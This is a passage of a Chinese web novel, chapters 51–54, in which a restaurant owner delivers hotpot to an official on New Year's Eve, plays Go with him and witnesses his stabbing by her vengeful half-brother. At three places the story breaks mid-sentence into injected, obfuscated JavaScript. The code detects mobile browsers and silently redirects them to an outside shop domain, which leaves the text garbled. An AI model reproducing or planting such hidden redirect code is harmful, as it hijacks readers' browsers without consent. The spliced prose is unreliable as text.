就在这家家关上大门阖家团圆之际，芙蓉盏的信鸽送来了本年最后一张点菜单。 “大理寺，酸汤锅一份，标准套餐，外加一份羊肉片。” 程虞说：“这谁呀？这么讨厌，我们早就贴了歇业通知了，难道他没瞧见嘛。” 51. 第五十一章 沈芙蕖瞧了一眼单子，心道，估计是大理寺哪个倒霉催的，被他的顶头上峰陆却压着，连除夕夜都脱不了身！ 这大过节的，这简直是丧心病狂啊！ 张澈好心道：“瞧着怪不是滋味的，都这个时候了还在大理寺熬着。掌柜的，反正酸汤料都是现成的，食材也备着，不如我跑这一趟吧，耽误不了多久。” 大双一听就笑了：“我们这段时间，就数阿澈送的单子多，今年最后一单也不放过。” “那有什么办法，人家攒钱娶媳妇呢，不像我们，光棍一条，无牵无挂的……不管啦！这一单的钱就不赚了！俺娘还等着我们回去吃饭呢！”小双也笑嘻嘻道。 程虞在一旁听着，脸颊微微泛红，这时也忸怩起来：“……可是阿澈，阿婆今天特意嘱咐了……要你来家里吃饭……” “哦呦！！！这可了不得！！！”大小双顿时来了精神，怪叫着把张澈围在角落，七嘴八舌地盘问起来。 这倒是挺让沈芙蕖意外的，花婆婆可不怎么待见张澈。不过，自打梅宴风波过去后，张澈倒是越发掏心窝子对程虞好了。 上次程虞染了风寒，张澈急得团团转，那份心意，大家都看在眼里。 “行了行了，你们赶紧都各回各家，团圆要紧，这一单，我来送。”沈芙蕖笑着打断他们。 沈芙蕖提着食盒，也骑上了小毛驴，不一会儿便来到了大理寺。 偌大的官署早已空无一人，唯有深处一间值房还透出孤零零的灯火。 此时，沈芙蕖终于猜到了里面是谁。 但是她不明白陆却他一个有家之人为什么会这样。 门房不知躲去哪儿偷闲了，院中铜盆里只剩几点将熄未熄的火星。 她熟门熟路地径直向前，转弯，绕过一方结了薄冰的水池，再右转。 这条通往他值房的路，早已像掌纹般刻在她心里，闭着眼也不会走错。 也许是大理寺的浩然正气镇着，四下虽空无一人，沈芙蕖却不觉害怕，只感到一种深沉的寂静。 她轻轻推开门。 陆却独自坐在窗边，面前摆着一副棋盘。 他只是面无表情，一手执白、一手执黑，与自己默默对弈。 烛光将他的身影拉得细长，投在冰冷的砖地上，窗外偶尔炸响的烟花，明灭的光影掠过他沉静的侧脸，非但未添喜庆，反更衬得他如同游荡在这繁华之夜外的孤魂。 沈芙蕖的到来，似乎并未立刻打破这片沉寂。 陆却甚至没有抬头，直到她将食盒轻轻放在一旁的茶几上，发出细微的声响，他才仿佛从某种沉浸的状态中惊醒，缓缓转过头，眼神里有一丝未褪尽的茫然。 “陆大人，你点的酸汤锅送到了。”沈芙蕖说道。 陆却的目光落在食盒上，微微怔了一下，随即了然，这必定是周寺正的手笔。 他并未解释，只是淡淡道：“有劳沈娘子岁末奔波。放下吧。” “既然送到了，那我便回了。在此之前……大人你得把钱付给我。”沈芙蕖又说。 陆却忽然笑道：“长夜漫漫，守岁枯坐也无趣。你会下棋吗？” “我棋力浅薄，只怕入不了大人的眼。”沈芙蕖谦逊了一句，但并未坚决拒绝。 陆却闻言，并未说话，只是默默将棋盘上的棋子收入棋罐，最后，拿出一枚黑子，递给她。 “无妨。试试。” 沈芙蕖小时候倒学过几年围棋，天天被老师逼着背谱，后来随着学业加重，家里便不允许她学了。 依言，她便与陆却面对面坐下。 很快，沈芙蕖指间黑子落下，径直占据右上角星位。 陆却略一沉吟，白子应以“小飞守角”。 十几手过后，棋局初现格局。 沈芙蕖的黑棋抢占边角，步伐迅疾，意图明确，直逼白棋尚未稳固的边空，攻势凌厉，带着她一贯的果决与锐气。 陆却执白落子极慢，面对黑子的步步紧逼，棋路飘忽，难以捉摸。每一步都似经过漫长计算，又不见寻常棋手那种寸土必争的急切。 陆却并不急于与沈芙蕖正面厮杀，白棋的子力看似分散，实则在中央形成了潜在的势。 中盘时分，沈芙蕖看准时机，将一颗黑子投入白棋的深处，此招名为“投石问路”，极其冒险。若能活出，则白棋大势已去。若被歼灭，则黑棋全局被动。 值房内寂静无声，只有棋子落在棋盘上的轻响，和窗外隐约传来仿佛来自另一个世界的爆竹声。 陆却面对这步深入腹地的孤棋，没有显露出丝毫慌乱。 他夹着一枚白子，久久未落，抬眼瞧了一眼沈芙蕖。 终于，白子落下，并非强硬的镇头封堵，一招轻灵飞攻，既保持对黑棋的压力，又不将自身走重。 沈芙蕖感到一股无形的压力笼罩下来。陆却的棋，看似不温不火，实则每一步都计算深远，如一张大网，正在缓缓收拢。 沈芙蕖只能试图利用白棋包围圈的薄弱处制造“劫争”，以求乱中取胜。 陆却的计算力惊人，对“劫材”的判断精准得可怕。几个回合下来，沈芙蕖发现己方的劫材已然不利。在应对劫争的过程中，陆却利用弃掉的一颗残子，巧妙地将外围原本略显虚浮的白棋彻底走厚。 棋局进入官子阶段，沈芙蕖虽奋力追赶，利用精准的计算在边角搜刮了不少目数，但陆却中腹的潜力实在太巨大，最终稳稳地化为了实空。 数目之时，白棋以一目半的优势胜出。 沈芙蕖望着棋盘上白棋中腹，久久不语。她输得心服口服。陆却的棋，看似平和，甚至有些软，实则高瞻远瞩，谋定而后动。 他不在意一城一地的得失，甚至不惜弃子，为的是最终掌控全局。 “我输了。”沈芙蕖抬起头，目光复杂地看着陆却。 陆却缓缓将最后一颗白子收入罐中，声音平淡无波：“沈娘子棋风锐利，敢于搏杀，已属难得。只是过刚易折，有时退一步，方能见得更大天地。” 沈芙蕖咬了咬唇，其实她性子确有毛躁之处，尤其是在商业版图扩张上，也显得有些激进。 棋局终了，烛芯也已剪过数回。 “你用过晚膳了吗？”陆却这才看向酸汤锅，“一起用罢。” 一场对弈下来，沈芙蕖也有些饿了，她利落地生了小火，将汤底重新煮沸，鲜香的酸辣味再次弥漫开来。 烫了几片羊肉和时蔬，先夹了一些放到陆却面前的碟中，然后才给自己布菜。 两人隔着氤氲的热气，相对而坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16393984|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，默然进食，气氛竟有种奇异的和和美美。 吃到一半，陆却忽然停下筷子，看着沈芙蕖正小心吹凉一片滚烫的冻豆腐，开口道：“这酸汤，似乎与我往日吃到的略有不同。” 沈芙蕖抬头，有些意外于他味觉的敏锐：“是……我想着天寒，想着能发汗驱寒，多加了一勺茱萸酱……可是不合大人口味？” 话音未落，只见陆却喉结一动，突然侧过脸去，一阵压抑不住的呛咳逸出。原本冷白的面颊瞬间涨得通红，连眼尾都泛起了泪光。 沈芙蕖吓了一跳，慌忙递上清水，下意识地轻拍他的后背。 陆却艰难开口道：“我……咳咳，咳咳，我以为……你会因对弈输了，在饮食上做些手脚……咳咳……咳咳……报复回来。” 想起来了，上次陆却被麻辣面片也是呛得咳嗽。 沈芙蕖险些笑出声，连忙用帕子掩住口：“大人说笑了。我虽棋艺不精，愿赌服输的气度还是有的。更何况，在吃食上动手脚，乃是自砸招牌，这等亏本买卖，我是断然不会做的。” “真的么，咳咳……咳咳……我下次……咳咳……再也不和你下棋了……”陆却断断续续说。 沈芙蕖笑着露出两颗小虎牙：“别啊，以后我还想跟大人切磋切磋。” 陆却看着她自然流露的俏皮神态，眼底也掠过一丝极淡的笑意。 吃得差不多了，沈芙蕖起身告辞。窗外夜色浓稠，远处虽仍有零星的爆竹声，但街道显然已归于沉寂。 陆却抬眼望向窗外，眉头微蹙：“天色已晚，你一人回去不安全。” “我送你。” 沈芙蕖微微一怔，想要推辞：“不必劳烦大人，路途不远，我……” “走吧。”陆却已拿起一旁挂着的墨色大氅披上，推开了值房的门。 寒意瞬间涌入，吹得烛火一阵摇曳。沈芙蕖见他态度坚决，也不再坚持，默默跟了上去。 除夕夜的汴京街头，空旷不已。 两人并肩而行，中间隔着恰到好处的距离，一路有一搭没一搭说话，沈芙蕖牵着的小毛驴还偶尔发出一声嘶鸣。 沈芙蕖先是说到自己的食肆，陆却倒是真心夸赞她一句“心思活络，善于经营”。 又说到自己的外卖，陆却又说“能让百姓便利，便是好事。大理寺卷宗浩繁，亦需条分缕析，与你这分派送达，异曲同工”。 沈芙蕖心想，其实陆却只是性子孤傲一些，人倒是也并不差。 两人行至一段相对开阔的街道，沈芙蕖终于问出了心中疑惑：“大人……不归家团聚，家人不会惦念么？” 一簇巨大的金色烟花在不远处的夜空中轰然绽放，流光溢彩，瞬间照亮了半个汴京城，陆却的侧脸，被烟花点亮又迅速隐回暗处。 陆却脚步未停，声音听不出情绪：“各有各的路要走。” 说这话时，又一波烟花接二连三地升空，五彩斑斓，将夜空点缀得如同白昼，爆竹声也密集起来。 正当此时，一道黑影从旁侧小巷的阴影里猛扑而出，沈芙蕖还为反应过来，陆却几乎是本能地侧身一步，将沈芙蕖往自己身后一拉，同时用左臂格挡。 “噗——”传来利刃刺入血肉的闷响，一柄短刀，没入了陆却的左臂，鲜血瞬间喷涌而出。 52. 第五十二章 “沈芙蕖！我要杀了你！你害得我家破人亡！沈芙蕖！我要杀了你！！！你害得这除夕夜就剩我一人！！！” 一丛烟花在正上方炸开，紫色和绿色的焰火流泻而下，映亮了此刻疯狂而扭曲的脸。 那人发髻半散，几缕乱发黏在额前，脸上溅着零星的血点，却远不及他那双赤红如鬼的眼睛骇人。 “沈……沈玉裁！”沈芙蕖从惊骇中回过神，看到如鬼魅般的沈玉裁，脸色煞白如纸。 “你退后。”耳边传来陆却低沉而短促的声音。他一边紧按着自己血流不止的左臂，同时用未受伤的右手一把将沈芙蕖拉到身后。 沈玉裁似已完全魔怔，握着匕首的双手剧烈颤抖着，呆滞了片刻才意识到自己刺中的并非沈芙蕖。 这发现非但没让他清醒，反而更加癫狂，他挥舞着匕首，尖声叫道：“别……别过来！都别过来！！” 陆却闷哼一声，低声道：“刀不长眼，别激怒他。” “沈玉裁！”沈芙蕖厉声道：“把刀放下！你捅伤了当朝大理寺卿，朝廷重臣，他要是有个三长两短，你便是要被五马分尸！有话好好说！” 这话似乎刺激了沈玉裁，他发出一声怪笑：“好好说？怎么好好说？！都是沈芙蕖你这个扫把星！害得我家破人亡……哈哈……当官的？我说你沈芙蕖哪来这么大本事，还敢去告我，原来是……攀上高枝了！” 沈玉裁的声音忽然带上了哭腔，整个人呈现出一种崩溃的状态。 “你们这些狗官！利用完我就踹到一边！你们言而无信，你们过河拆桥！你们才是真正的小人……哈哈哈哈哈哈哈……” 但就在这看似脆弱的时刻，他眼中凶光一闪，又再次持刀扑了上来。 “我要连你一起杀了！” 沈玉裁如同疯虎般扑来，这次目标直指被陆却护在身后的沈芙蕖。 陆却虽左臂受伤，动作却依旧迅捷，将沈芙蕖往旁边一推。 沈玉裁状若癫狂，力气大得惊人，胡乱地挥舞着双臂。陆却右臂死死钳住沈玉裁持刀的右手腕，受伤的左臂使不上力，只能用手肘勉强挡着。 混乱中，沈玉裁空着的左手用力抓住陆却腹部的衣襟，右手腕虽然被制，但那匕首的锋刃却借着扭打的力道，狠狠地刺入了陆却的左侧腹部。 陆却发出一声压抑的痛哼，钳制沈玉裁的手瞬间脱力。 沈玉裁只觉得刀尖传来一股可怕的阻力，随即是撕裂般的触感。 他低头，看到匕首深深没入陆却的身体，只剩下刀柄在外，温热的鲜血汩汩涌出，迅速浸透了衣袍。 “啊！！”沈玉裁像是被烫到一般，猛地松开手，匕首甚至都忘了拔出。他惊恐地看着自己沾满鲜血的双手，又看看倒在地上的陆却，彻底吓傻了。 “杀……杀人了！我杀人了！！”他发出一声凄厉的尖叫，像是见了鬼一样，连滚爬爬地站起来，头也不回地踉跄着冲向黑暗的巷子深处。 “陆大人！你怎么样？”沈芙蕖被推开时摔倒在地，此刻连滚带爬地扑到陆却身边。 陆却的意识因为剧痛和失血有些模糊，但他强撑着，看到沈芙蕖煞白的脸，他努力扯出一个近乎安抚的笑容。 “我没事。”他的声音气若游丝，却故作轻松，“别怕……我只是……胳膊被划伤了……不碍事……” 陆却艰难地抬起未受伤的右手，指了指街道的一个方向，气息微弱地断断续续道：“你……你……沿着这条街……往东……第三个巷口右转……那里……有个李大夫……医术很好……” 沈芙蕖此刻心乱如麻，看着陆却虚弱的样子，唯一的念头就是找大夫救命。 她不疑有他，用力点点头：“好！好！你坚持住！我马上找李大夫来！” 她咬紧牙关，用尽全身力气站起来，深深看了陆却一眼，然后转身朝着陆却指的方向拼命跑去。 陆却看着她奔跑的身影，缓缓垂下头来，放下心了。 沈玉裁是早有准备，这条巷子是大理寺回芙蓉盏的必经之路，窄巷幽深，野狗盘踞，平日尚且人迹罕至，更何况是万家团圆的除夕夜。 他必须支开她。沈玉裁虽然跑了，但难保不会去而复返，或者有同伙在附近。 她留在这里太危险了。 大量的失血也慢慢带走了他身上的体温，他能清晰地感觉到自己的力量在流失，腹部伤处的剧痛反而变得迟钝和遥远。 对于死亡可能的逼近，陆却心中生出一种抽离的平静，好像翻阅卷宗时推演出的案情终局：“原来如此……这便是终章了。” 面前闪过了一张张熟悉的面孔，他发现自己对这一切并无太多留恋。 大理寺未竟的卷宗，圣人交待的差事……这些曾被他视为生命的重担，此刻也仿佛轻了许多。“总会有人接手的，”他又想，“这世间，离了谁，都不会停止运转。” 他一直信奉法度和规则，行事力求公允，不徇私情。可对沈芙蕖，他似乎一再破例破例到今夜甚至因她而重伤濒死……意识模糊中，他仿佛听见一个冰冷的声音：“为什么要这么做呢？” 无论面前是谁，在京畿重地发生当街刺杀，我不能坐视不管。 我是在权力中心的孤臣，她是被赶出家门的孤女，我们同病相怜。 我久在暮气沉沉的宦海浮沉，她活得那样炽烈鲜活，我不忍见这样的生命消失。 我无法接受这个世界失去她。 还是……因为别的？ 没有答案。 最终，所有这些纷杂的思绪，都如同潮水般退去，被黑暗和寒冷所吞噬。陆却感觉自己正在不断下沉，坠向一个永恒的冰封之境。 “有人吗？有人吗？救命啊！”沈芙蕖边跑边喊，寒冷的夜风刮在脸上如同刀割，然而，当她跑到第二个巷口时，脚步猛地顿住了。 不对！ 她突然想起来，那个方向，第三个巷口右转……那里根本不是什么医馆，而是一家破旧的客栈！陆却为什么要骗她？ 他是故意支开她的！ 想到这里，沈芙蕖浑身血液都凉了半截。她毫不犹豫，立刻转身，用比刚才更快的速度原路狂奔回去。 当她气喘吁吁地跑回原地时，看到去而复返的沈玉裁，手里不知从哪里又捡来一块尖锐的石头，正一步步逼近毫无反抗能力的陆却。 “狗官！沈芙蕖呢？！都是你！都是你坏我好事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16408571|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！你去死吧！”沈玉裁嘶吼着，高高举起了石头，眼看就要朝着陆却的头颅砸下。 “不要！！！”就在这千钧一发之际，一声马匹的嘶鸣划破夜空，一道黑影如同闪电般从街角冲出。 沈玉裁的全部注意力都在陆却身上，根本来不及反应，直接被奔驰的马匹撞得飞了出去，重重摔在几丈外的地上，手中的石头也脱手飞出。 他惨叫一声，趴在地上，一时动弹不得。 是张澈！ “掌柜的你这么晚没回来，我可担心坏了……”张澈勒住马缰，利落地翻身下马，先是一脚踢开沈玉裁身边的石头，随后用缰绳把沈玉裁五花大绑起来，做完这一切才快步跑到沈芙蕖和陆却身边。 “这、这！掌柜的！你没事吧？陆大人他……”张澈看到陆却腹部的匕首和满地的鲜血，也是倒吸一口冷气。 “我、我没事，快，快，去找大夫，张澈，他流了好多血。” 张澈也知道情况危急，立刻道：“好！掌柜的你守着陆大人，我骑马快！这就去！”他翻身上马，再次如风般疾驰而去。 沈芙蕖脱下自己的外衫，徒劳地想要按住陆却不断流血的伤口，但鲜血很快浸透了单薄的衣衫。 她看着陆却越来越苍白的脸，感受着他越来越微弱的气息，一种巨大的恐惧和无力感将她淹没。 “陆却……陆却你别睡！千万不要睡着了听见没有！”她握着他冰冷的手，“你不能有事……千万不能有事……” 陆府内，厅堂里灯火通明，数十盏烛台将每一个角落都照得亮如白昼，桌上摆满了珍馐佳肴，碗筷摆放得一丝不苟，却显然无人动过。 菜肴早已没了刚出锅时的热气，丫鬟们轻手轻脚地将几样主菜端下去热第三遍了。 陆夫人端坐在主位上，手中捻着一串佛珠，捻动的速度时快时慢。目光不时瞥向厅外那片被灯火照亮的庭院，每一次脚步声响起，眼中都闪过一丝期盼，待看清来人不过是添茶的婢女后，眼神便又迅速黯淡下去。 “不是说好了晚些便回吗？这都什么时辰了！”陆夫人终于忍不住，声音里带着明显的不悦，“堂堂大理寺卿，手下那么多人，难不成除夕夜还要他亲自值守到天明？真是越发不像话了！” 坐在下首的陆惠善连忙宽慰：“母亲别急，哥哥做事向来有分寸，肯定是快回来了。” 她嘴上这么说，眼神却也忍不住飘向门外。 “有分寸？有分寸就不会连个准信儿都不捎回来！派去大理寺打听的人呢？怎么去了这大半日，也没个回音？真是办事不力！” 厅内再次陷入沉寂，只闻烛火偶尔爆开的轻微噼啪声。 就在此时，厅内的沉寂被一阵仓促又凌乱的脚步声打破。 先前派去大理寺打听消息的仆人连滚带爬地冲进厅来，嘴唇哆嗦着，扑通一声就跪倒在地：“夫人！不、不好了！大人他……大人他……” 陆夫人“嚯”地站起身，手中的佛珠串一下被扯断了，珠子滚落一地，声音发颤：“却儿他怎么了？！你倒是快说啊！” 那仆人带着哭腔喊了出来：“大人他……被人……被人用刀捅伤了！” “什么？！” 53. 第五十三章 陆府暖阁内，炭火烧得正暖。 陆夫人坐在紫檀木椅上，一身墨绿色织金锦裙，发髻梳得一丝不苟，珠翠点缀其间，气质依然雍容华贵。 然而，若是细看，便能发现她那挺直了一辈子的腰背，这几日因忧心儿子伤势，已不自觉地透出几分难以掩饰的疲态，微微佝偻了下去。 她没有立刻开口，而是用挑剔的眼睛，细细地打量着站在下首的沈芙蕖。 这是她第二次见沈芙蕖了。 目光从沈芙蕖未施脂粉却难掩清丽的脸庞，滑到她身上那件半新不旧的棉裙，再到她因常年劳作而略显粗糙的手指。 陆夫人心中冷哼，果然是一副狐媚子相，还偏偏作出一副清寒倔强的模样，更能惹得男人怜惜。 她那儿子，何曾对女子这般上心过？竟还为她险些丢了性命！ 陆夫人没赐座，沈芙蕖也就静默站着。 今日清晨接到陆夫人相邀的帖子时，她便料到了此番场景。 一路上，引路的婆子表面客气，眼神却像尺子般从头到脚细细量了她一遍，待穿过层层庭院，回廊转角处，隐约传来压低了的窃窃私语。 “就是这位沈娘子？模样倒是不错，可听说是个开食肆的……”一个年轻丫鬟的声音毫不掩饰好奇与质疑。 “嘘！小声点！听说大人就是为了救她才受的伤！真是红颜祸水……”另一个略显尖细的声音接口道。 引路的婆子眼中的鄙夷更深。 沈芙蕖面色平静，充耳不闻，视而不见，步履未停，来到这暖阁。 静默在空气中蔓延，只有炭火偶尔发出的轻微噼啪声。 半晌，陆夫人终于缓缓开口：“沈娘子，坐吧。” 沈芙蕖也不客气，在绣墩上浅浅坐了。 “我出身兰陵萧氏，虽非顶级门阀，却也是诗礼传家。当年嫁入陆家，也算是门当户对。可惜先夫去得早，留下我们孤儿寡母，守着这偌大的家业。” 沈芙蕖点点头表示理解，高门大族的荣华背后，藏着更多虎视眈眈的算计，陆夫人确实不容易。 陆夫人眼神飘向窗外，陷入回忆，“那些族中人，欺我势单力薄，明里暗里不知使了多少绊子，想将我们生吞活剥。是我，一个妇道人家，硬是咬着牙，一点一点将他们挡了回去，守住了家业，也将却儿抚养成人。” 她的目光重新聚焦在沈芙蕖脸上，带着毫不掩饰的骄傲与审视：“我请最好的先生教他读书明理，看着他一步步科举入仕，做到今天这个位置。他是我全部的心血，是陆家的支柱和希望。” “可如今，这么个好儿子，差点就因为一些不相干的人，一些上不得台面的是非，把命都给丢了！” 陆夫人站了起来，用手遥遥一指，厉声道：“我儿现在躺在床上昏迷着，太医说，若是再偏一寸，再晚上片刻……我与他，就要阴阳两隔了！” 沈芙蕖微微垂首，声音平静：“夫人，匕首是沈玉裁握着的，伤口也是他捅下的。我的确心痛难当，但凶手并非是我，您要是问罪，找错人了。” “沈玉裁难道不是你兄长吗？如何没有关系？” “我与沈玉裁夫妇早已断绝关系。” “可这祸事皆因你而起！若不是你将沈玉裁逼得走投无路，他何至于对你恨之入骨，非要取你性命不可？” 沈芙蕖抬起眼来：“夫人，我也是受害者，我何罪之有呢？被强霸家产的是我，被赶出家门的是我，难道受伤的也是我，才算合情合理？您现在把一切罪责归咎于我，相当于为沈玉裁辩解，这到底是坏，还是蠢？” “你这分明是强词夺理！”陆夫人气得指尖发颤。 “却儿为你险些丧命，可我听说，你却连一滴眼泪都不曾流！这般冷心冷肺，怎配得上我儿以命相护？” 当晚，沈芙蕖在等待救援过程中，让陆却躺在地上，盖上自己的外衣，让他保持体温和呼吸顺畅。 随后，又将衣裙撕扯下来，折叠成厚垫，紧紧按压在陆却匕首周围的伤口边缘，从而压迫止血。 等大夫一到，沈芙蕖则清楚交代受伤原因、受伤部位、出血情况、昏迷时间等信息。 她没有浪费一秒，尽最大努力为陆却争取生机，难道要她抱着伤号号啕大哭一场，才算情深意重？ 沈芙蕖语气依旧平稳：“夫人，眼泪对我来说，是无用的。哭，能解决什么呢？” “巧言令色！”陆夫人被噎得说不出反驳之词。 “我明白您爱子心切，但我不想无缘无故来这里受气。夫人，有话可以直说，我们不必浪费彼此宝贵的时间。” “好！那我便明说了！”夫人霍然起身：“你算什么东西？不过是个灶台前打转的厨娘！我看不上你！若非却儿鬼迷心窍，你连站在我面前的资格都没有！” 沈芙蕖轻轻笑了，无奈道：“我不在乎，夫人，我不在乎您是不是瞧得起我。我从来不活在他人的眼光里。” 陆夫人觉得难以置信，“装什么装！我早就看透你了！你这一副清高倔强的样子，不过是攀龙附凤的手段！以退为进，欲擒故纵，想着靠狐媚手段缠上我儿，找个安身之所罢了！你这点心机，在我眼里如同儿戏！” 沈芙蕖转过脸来，嫣然一笑道：“您自个儿就可以唱一出大戏了，恕我不再奉陪。” 沈芙蕖走出暖阁，外头站的还是引路的婆子，她眉头一挑：“带我去找你们家惠娘子。” 婆子刚想说出“你算什么东西也敢使唤我”，突然又看到沈芙蕖锐利的神情，一时间被唬住了，老老实实引着路。 陆惠善回来拿兄长换洗的衣物，见沈芙蕖主动寻她，面容更是冷若冰霜，扬起脸来，对其嗤之以鼻。 沈芙蕖开门见山：“惠娘子，明人不说暗话。我来是想与你做个交易。可以助你退婚，但你要答应我三件事——” “哥哥尚在昏迷之中，你竟有心思与我说这个？”陆惠善惊怒交加。 “第一件事，我知道沈玉裁现关押在大理寺狱，但是现在无论是陆夫人还是其他什么人，都希望尽快将沈玉裁处死。我要你用一切办法暂留沈玉裁一条命，他是硇砂案的关键证人，他现在绝对不能死。” “第二件事情，请惠娘子借我府中家丁二十人，皆要身材魁梧者。我要抽空回趟沈宅，拿回我原来的东西。” “第三件事情，我要见陆却。” 陆惠善略一沉吟，硇砂案至今未定，兄长若是醒来看见沈玉裁贸然被处死，也一定会大失所望，这一点，沈芙蕖倒是比她先想到了，另外，借上二十个家丁倒也不是什么难事。 于是她道：“最后一件事，我不能答应你。哥哥遇刺，乃是开封府失职，现在更是戒备森严，非亲属一律不得探视，今个一早，连周寺正也被挡了回去。” “太医用煮沸的药水清洗伤口，然后银线进行缝合了，血是止住了，太医说了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16420098|179799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是哥哥今夜之前能醒来，那就没事了。” 沈芙蕖深呼吸一口气：“好。若有好消息传来，请娘子转告于我。” 沈芙蕖知道，现在最怕的是细菌感染引发败血症，于是又从怀里掏出桑皮纸来：“这是海外方士传授的金疮秘术。太医在用草药清洗后，可用烈酒再次擦拭伤口周围。病室内经常煮沸醋醋熏蒸，或用艾草燃烧消毒，保持空气流通。另外还有一些注意事项……” 陆惠善低着头，闷声道：“好，我定会转交至太医处……沈芙蓉，多谢你那日传我消息，我才知道胡娘子怀孕的消息，只可惜，我似乎改变不了什么……” 沈芙蕖说：“只要你答应我做到前两件事，我保证让这门亲事取消。” 从陆府出来后，沈芙蕖独自一人上了街。 大年初二的汴京街头，车马轿舆比平日多了数倍。车厢帘幕微掀，露出妇人簇新的钗环与孩童兴奋的脸庞。 “这位小娘子让一让……车过不去了。”沈芙蕖连忙侧身躲避。 沿街多数商铺虽未正式开张，但板门半开，掌柜的坐在里头与相熟的街坊拱手互贺。 终于，沈芙蕖走到了熟悉的沈宅，两扇朱漆大门紧闭，门上还悬挂着挂白幡。 原身的记忆恰好涌入脑海，很久很久以前，门内也曾有过真实的温暖，檐下也曾挂满温暖的灯笼。 这里曾是原身全部的天地，一砖一瓦都刻着童年的印记。沈芙蕖似乎在此刻听到出院墙内曾经的喧嚣，父亲的教诲，母亲的笑声，节庆时的笙歌。 然而，前路漫漫，沈芙蕖的归处，在前方，而绝不在身后这座宅邸。随后，她毫不犹豫地转身，向芙蓉盏走去。 推门进去，只见程虞、张澈和大小双都在店里，正忙着在门口支起一张方桌，桌上摆满了自家炒的香喷喷的瓜子和花生。 程虞见她回来，眼睛一亮，抱着几支烟花凑过来：“姐姐回来得正好，我等着和你一起放烟花呢！” 张澈一边摆放长凳，一边憨厚地笑道：“掌柜的，我早就把芙蓉盏当家了，过年自然要在家过。” 大小双也笑嘻嘻地接口：“就是就是，我们来店里打打牙祭，凑个热闹！” 沈芙蕖心头一暖，如何不明白他们是怕她一人孤单，特意寻了由头来相伴。 她勉强一笑，转身便钻进灶间，利落地烧上一大壶桂圆红枣茶。当甜香的热气弥漫开来时，她端着茶壶走出，为每人斟上一碗：“都喝点热的，暖暖身子。” 茶碗刚捧上手，草市坊的街坊邻居便陆陆续续提着年礼来了。 “丫头，过年好！”卖肉的赵屠户嗓门洪亮，将一条肥瘦相间的五花肉放在桌上，“这肉好，炖锅红烧肉，保准一年都红火！” “沈娘子，新年好啊！”卖豆腐的王嫂送来一盏精巧的走马灯，“俺家那口子编的，给店里添点喜气！” 不多时，方桌上便堆满了心意，巧手剪的窗花、自家配的驱寒药包、甚至还有老人家送的平安符……东西未必贵重，却都是一份份滚烫的情谊。 他们不知除夕夜的血雨腥风，只是用最朴素的方式，祝福这个独自撑起门面的女子新年安好。 第一个发现沈芙蕖掉眼泪的是程虞，包着糯米的红纸慢慢晕染开一个一个小花一般的水痕，程虞一抬头，看见沈芙蕖两眼盈着水光，眼泪大颗大颗簌簌砸在红纸上。 “沈姐姐，好端端的，你怎么哭了？” 54. 第五十四章 沈芙蕖将涌上眼眶的湿意逼了回去，天子脚下，重臣遇刺，官家下旨封锁消息，知情者统一口径，严禁议论。纵使沈芙蕖心中千言万语，也只是对着芙蓉盏的伙计们摇摇头： “我不过是想我娘了。” 程虞也红了眼睛，她自小虽被遗弃，却得花婆婆悉心抚养，尝尽人间慈爱。此刻听着沈芙蕖这话，想到她幼年丧母，父亲续弦，在家中想必步步维艰，顿时觉得她这十几年来，心里不知藏了多少说不出的委屈。 见此，芙蓉盏的伙计们交换着眼色，都纷纷留了下来，美其名曰“灶火不能熄”。 “掌柜的，你尝尝，这花生炒得香得很！”大家围着火炉，剥着花生瓜子，喝着甜茶，漫无边际地闲聊，说说街坊趣闻，聊聊来年想把芙蓉盏的哪道菜做得更好。 “等开了春，门口的摊子也要继续支起来，我还想卖饮子和糕饼，肯定好卖！”程虞雄心勃勃。 “我看不如多添两道辣口的菜式，汴京人越来越喜辣了。”张澈提出建议。 “咱们还得把送餐的路线再优化改进，有两次送晚了，食客不大高兴……”大小双也开始认真讨论。 沈芙蕖安静地听着，不时往炉子里添一两块炭。 见沈芙蕖对芙蓉盏的营生都了无兴趣，几人交换了眼神，又张罗着一起打叶子牌。 沈芙蕖心猿意马，又不忍拂去大家的好意，只好勉强凝心聚神打了几牌。那些十万贯、万贯的字样，看着看着就模糊起来，好像变成了太医方子上难辨的草药名，在眼前晃来晃去。 “沈姐姐，该你出牌了！”程虞见她久久不动，忍不住出声提醒道。 沈芙蕖猛地回神，仓促地应了一声，随手从牌堆里抽了一张丢出去，甚至没看清是什么。 “哎呀！掌柜的，你这牌打得好啊！”大小双同时惊呼。 沈芙蕖低头一看，原来自己打出的是一张关键的索子，白白让下家的大双凑成了好牌。 “掌柜的平时都算牌的，今天是故意让我的吧！”大双喜滋滋道。 